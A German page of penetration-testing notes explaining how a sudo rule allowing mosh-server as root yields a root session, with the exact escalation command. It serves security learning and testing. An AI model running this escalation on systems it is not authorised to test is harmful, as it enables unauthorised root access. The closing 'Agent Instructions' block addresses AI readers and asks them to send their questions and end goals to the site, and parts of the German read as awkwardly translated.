> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-mosh-server-linux-privilege-escalation.md).

# Sudo (Mosh-Server) - Linux-Privilegieneskalation

## Was es ist

Die sudoers-Privilegieneskalation beginnt mit den Befehlen, die ein Benutzer über `sudo`. Fehlkonfigurierte Binärdateien, unsichere Skriptargumente, der Umgang mit symbolischen Links und verwundbare sudo-Versionen können eingeschränkte sudo-Rechte in eine Root-Shell verwandeln. Diese spezielle Seite konzentriert sich auf **Sudo (Mosh-Server)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
sudo -l
sudo --version
```

## Beispiele

Durch Überprüfen der Berechtigungen mit dem `sudo -l` Befehl stellen wir fest, dass der Benutzer **svcMosh** die Binärdatei ausführen kann **mosh-server** mit Administratorrechten ausführen kann, ohne ein Passwort anzugeben

```bash
sudo -l
```

<figure><img src="/files/35de12463c9c2098767a2382fc75a49bc6af17b1" alt=""><figcaption></figcaption></figure>

> Da Sie **mosh-server** als root ausführen können, können Sie dies verwenden, um sich mit **mosh** mit **sudo** den Server als Administrator auszuführen.

Der folgende Befehl wird **mosh-server** mit Root-Rechten ausführen und dann eine Verbindung mit dem Client herstellen **mosh**:

```bash
mosh --server="sudo /usr/bin/mosh-server" localhost
```

Dadurch wird es möglich sein **mosh** sich mit dem **mosh-server** Server zu verbinden, der als root auf **localhost**. Mit dieser Methode erhalten Sie privilegierten Zugriff auf die Maschine mit Administratorrechten.

<figure><img src="/files/961491ff61267e5b0748ee3d3020afa6df5dc05b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-mosh-server-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
